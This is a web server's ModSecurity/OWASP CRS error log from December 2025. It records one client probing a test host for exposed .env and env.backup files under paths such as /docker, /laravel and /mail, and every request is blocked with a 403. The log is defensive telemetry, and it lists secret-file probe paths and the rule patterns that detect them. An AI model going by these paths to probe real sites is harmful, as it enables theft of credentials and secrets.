[Tue Dec 09 02:40:00.568230 2025] [:error] [pid 614287] [client 45.148.10.247:51722] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/new/.env.staging"] [unique_id "aTd98Cw5dJMtMWYD8PX9twAAAAI"]
[Tue Dec 09 02:40:03.377656 2025] [:error] [pid 614579] [client 45.148.10.247:51734] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /awstats/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aTd983GXuKDmYb-TfDYI8QAAAAA"]
[Tue Dec 09 02:40:03.377904 2025] [:error] [pid 614579] [client 45.148.10.247:51734] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aTd983GXuKDmYb-TfDYI8QAAAAA"]
[Tue Dec 09 02:40:03.378153 2025] [:error] [pid 614579] [client 45.148.10.247:51734] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/awstats/.env"] [unique_id "aTd983GXuKDmYb-TfDYI8QAAAAA"]
[Tue Dec 09 02:40:05.135720 2025] [:error] [pid 614580] [client 45.148.10.247:51742] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aTd99d68QZ2WsgT79jeZCQAAAAE"]
[Tue Dec 09 02:40:05.135972 2025] [:error] [pid 614580] [client 45.148.10.247:51742] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aTd99d68QZ2WsgT79jeZCQAAAAE"]
[Tue Dec 09 02:40:05.136160 2025] [:error] [pid 614580] [client 45.148.10.247:51742] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/conf/.env"] [unique_id "aTd99d68QZ2WsgT79jeZCQAAAAE"]
[Tue Dec 09 02:40:07.517765 2025] [:error] [pid 614580] [client 45.148.10.247:51742] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cron/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aTd99968QZ2WsgT79jeZCgAAAAE"]
[Tue Dec 09 02:40:07.518022 2025] [:error] [pid 614580] [client 45.148.10.247:51742] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aTd99968QZ2WsgT79jeZCgAAAAE"]
[Tue Dec 09 02:40:07.519180 2025] [:error] [pid 614580] [client 45.148.10.247:51742] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aTd99968QZ2WsgT79jeZCgAAAAE"]
[Tue Dec 09 02:40:14.322554 2025] [:error] [pid 614291] [client 45.148.10.247:34796] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aTd9_sj7N5xvBbb8rIz5OAAAAAw"]
[Tue Dec 09 02:40:14.322906 2025] [:error] [pid 614291] [client 45.148.10.247:34796] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aTd9_sj7N5xvBbb8rIz5OAAAAAw"]
[Tue Dec 09 02:40:14.323155 2025] [:error] [pid 614291] [client 45.148.10.247:34796] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "aTd9_sj7N5xvBbb8rIz5OAAAAAw"]
[Tue Dec 09 02:40:23.069055 2025] [:error] [pid 616392] [client 45.148.10.247:58168] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aTd-B5Q8gyJDOdOwUBD8TgAAAAY"]
[Tue Dec 09 02:40:23.069358 2025] [:error] [pid 616392] [client 45.148.10.247:58168] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aTd-B5Q8gyJDOdOwUBD8TgAAAAY"]
[Tue Dec 09 02:40:23.069578 2025] [:error] [pid 616392] [client 45.148.10.247:58168] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aTd-B5Q8gyJDOdOwUBD8TgAAAAY"]
[Tue Dec 09 02:40:27.018449 2025] [:error] [pid 616392] [client 45.148.10.247:58168] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aTd-C5Q8gyJDOdOwUBD8TwAAAAY"]
[Tue Dec 09 02:40:27.018695 2025] [:error] [pid 616392] [client 45.148.10.247:58168] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aTd-C5Q8gyJDOdOwUBD8TwAAAAY"]
[Tue Dec 09 02:40:27.018893 2025] [:error] [pid 616392] [client 45.148.10.247:58168] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/app/.env"] [unique_id "aTd-C5Q8gyJDOdOwUBD8TwAAAAY"]
[Tue Dec 09 02:40:33.753771 2025] [:error] [pid 616393] [client 45.148.10.247:54070] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aTd-EV6fNBZxzyJyXJxbEgAAAAc"]
[Tue Dec 09 02:40:33.754149 2025] [:error] [pid 616393] [client 45.148.10.247:54070] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aTd-EV6fNBZxzyJyXJxbEgAAAAc"]
[Tue Dec 09 02:40:33.754368 2025] [:error] [pid 616393] [client 45.148.10.247:54070] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aTd-EV6fNBZxzyJyXJxbEgAAAAc"]
[Tue Dec 09 02:40:44.451128 2025] [:error] [pid 614290] [client 45.148.10.247:36690] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aTd-HIF-P_b3ZBc8KV30PgAAAAs"]
[Tue Dec 09 02:40:44.451487 2025] [:error] [pid 614290] [client 45.148.10.247:36690] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aTd-HIF-P_b3ZBc8KV30PgAAAAs"]
[Tue Dec 09 02:40:44.451685 2025] [:error] [pid 614290] [client 45.148.10.247:36690] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "aTd-HIF-P_b3ZBc8KV30PgAAAAs"]
[Tue Dec 09 02:40:57.329348 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aTd-Kd68QZ2WsgT79jeZCwAAAAE"]
[Tue Dec 09 02:40:57.329593 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aTd-Kd68QZ2WsgT79jeZCwAAAAE"]
[Tue Dec 09 02:40:57.329798 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.vscode/.env"] [unique_id "aTd-Kd68QZ2WsgT79jeZCwAAAAE"]
[Tue Dec 09 02:41:01.405701 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /js/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aTd-Ld68QZ2WsgT79jeZDAAAAAE"]
[Tue Dec 09 02:41:01.405933 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aTd-Ld68QZ2WsgT79jeZDAAAAAE"]
[Tue Dec 09 02:41:01.406124 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/js/.env"] [unique_id "aTd-Ld68QZ2WsgT79jeZDAAAAAE"]
[Tue Dec 09 02:41:06.314013 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aTd-Mt68QZ2WsgT79jeZDQAAAAE"]
[Tue Dec 09 02:41:06.314250 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aTd-Mt68QZ2WsgT79jeZDQAAAAE"]
[Tue Dec 09 02:41:06.314484 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aTd-Mt68QZ2WsgT79jeZDQAAAAE"]
[Tue Dec 09 02:41:07.856616 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aTd-M968QZ2WsgT79jeZDgAAAAE"]
[Tue Dec 09 02:41:07.856843 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aTd-M968QZ2WsgT79jeZDgAAAAE"]
[Tue Dec 09 02:41:07.857038 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "aTd-M968QZ2WsgT79jeZDgAAAAE"]
[Tue Dec 09 02:41:07.885826 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /mail/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aTd-M968QZ2WsgT79jeZDwAAAAE"]
[Tue Dec 09 02:41:07.886066 2025] [:error] [pid 614580] [client 45.148.10.247:39170] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mail/.env"] [unique_id "aTd-M968QZ2WsgT79jeZDwAAAAE"]
